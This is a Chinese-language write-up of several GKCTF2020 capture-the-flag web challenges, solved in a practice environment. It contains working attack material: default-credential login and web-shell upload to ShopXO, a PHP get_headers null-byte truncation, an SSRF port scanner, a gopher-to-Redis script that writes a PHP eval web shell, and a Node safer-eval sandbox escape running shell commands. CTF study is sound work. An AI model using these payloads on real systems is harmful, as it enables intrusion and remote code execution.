GKCTF2020

当时没有直接参加这场CTF,后面在BUU上面的环境做的。

老八小超市儿

是个shopxo商城系统,搜了一下有一个挺严重的上传漏洞,找到复现漏洞的文章,照做就可以无脑getshell
默认后台admin.php加弱口令admin+shopxo
上传包含了shell脚本的主题安装包连蚁剑即可getshell

根目录下有hint Get The RooT,The Date Is Useful!
然后还一个auto.sh的脚本,权限是755,应该是需要改脚本来读flag,添加以下命令来

s = os.popen('cat /root/readflag').read()
print(s)

cve版签到


(突然串味?

hint:cve-2020-7066

查资料

In PHP versions 7.2.x below 7.2.29, 7.3.x below 7.3.16 and 7.4.x below 7.4.4, while using get_headers() with user-supplied URL, if the URL contains zero (\0) character, the URL will be silently truncated at it. This may cause some software to make incorrect assumptions about the target of the get_headers() and possibly send some information to a wrong server.

使用%00进行截断发现可行,一开始看cve说明以为要带些什么东西出来,就设置url去访问我的服务器,但是后来看题目发现是内网环境,所以应该是访问本地内容
/?url=http://127.0.0.1%00www.ctfhub.com
得到下一步提示直接改host
/?url=http://127.0.0.123%00www.ctfhub.com

EZ三剑客-EzWeb

F12通过提示?secret得到

eth0 Link encap:Ethernet HWaddr 02:42:ad:ce:ea:0a inet addr:173.206.234.10 Bcast:173.206.234.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1450 Metric:1 RX packets:22 errors:0 dropped:0 overruns:0 frame:0 TX packets:33 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:4260 (4.2 KB) TX bytes:3696 (3.6 KB) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:14 errors:0 dropped:0 overruns:0 frame:0 TX packets:14 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:826 (826.0 B) TX bytes:826 (826.0 B)

(是个没见过的题型,还以为这是有个什么洞,搜不到然后看了下wp原来是通过扫内网...

import requests

port = [21,22,23,25,53,69,79,80,110,111,113,119,135,137,139,161,389,443,445,512,513,514,873,1080,1158,1433,1434,1521,2100,2375,2601,3306,5432,5900,5984,6379,7001,7002,8080,9080,9090,11211,27017,27018,50000,50030,50070]
#for i in range(1,254):
#    ip = "173.107.29."+str(i)
for i in port:
    ip = "173.107.29.11:"+str(i)
    url = "http://2fe817ff-1096-4e7e-a3ce-0188e6e7ab11.node3.buuoj.cn/index.php?url="+ip+"&submit=%E6%8F%90%E4%BA%A4"
    response = requests.get(url=url)
    #print(len(response.text))
    if len(response.text)!=421:
       print(url)

常用端口号 https://www.jianshu.com/p/048963e312bc


发现6379端口是redis未授权访问

https://byqiyou.github.io/2019/07/15/%E6%B5%85%E6%9E%90Redis%E4%B8%ADSSRF%E7%9A%84%E5%88%A9%E7%94%A8/

直接拿上面文章的payload改一改

import urllib.parse
protocol="gopher://"
ip="173.107.29.11"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
	 "set 1 {}".format(shell.replace(" ","${IFS}")),
	 "config set dir {}".format(path),
	 "config set dbfilename {}".format(filename),
	 "save"
	 ]
if passwd:
	cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
	CRLF="\r\n"
	redis_arr = arr.split(" ")
	cmd=""
	cmd+="*"+str(len(redis_arr))
	for x in redis_arr:
		cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
	cmd+=CRLF
	return cmd

if __name__=="__main__":
	for x in cmd:
		payload += urllib.parse.quote(redis_format(x))
	print(payload)

http://173.107.29.11/shell.php?cmd=system('cat${IFS}/flag');

EzNode

app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000);
  } else {
    next();
  }
});

app.post('/eval', function (req, res) {
  let response = '';
  if (req.body.e) {
    try {
      response = saferEval(req.body.e);
    } catch (e) {
      response = 'Wrong Wrong Wrong!!!!';
    }
  }
  res.send(String(response));
})

分析源码和版本,看到一个safer-eval就感觉这个库一点都不safe,查CVE有任意命令执行但是版本不符;这条线断了,就看源码,第一个路由是关于timeout的;大概意思是访问/eval,将delay设为60000,然后和我们传入的值进行比较,大的值为新的delay

这里是一个中间件路由,原理大概如下,意思是如果代码超时6秒就会进入下一个路由;setTimeout函数的delay如果大于int的上限值2147483647或小于1的时候则可以跳到下一个路由

Nodejs库的问题不少是和沙盒逃逸有关的,然后在github上找到一个issue里的POC(逃逸什么的也不是非常懂,就按这个POC的意思来

payload:

GET: /eval?delay=2147483648
POST: e=Buffer.of.constructor('return process')().mainModule.require('child_process').execSync('cat /flag').toString();

CheckIN

<title>Check_In</title>
<?php 
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }

        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName();

源码审计,需要给Ginkgo传入一个base64加密后的命令,传入phpinfo后发现没有过滤,然后直接传马eval($_POST[1]);然后用蚁剑连,看到根目录下的/readflag并且在终端看到回显ret=127说明要bypass disable_functions

然后找到POC直接修改上传/tmp目录下,写马include即可得到flag

Ez-Typecho

Node-Exe

这两题先鸽到期末考后吧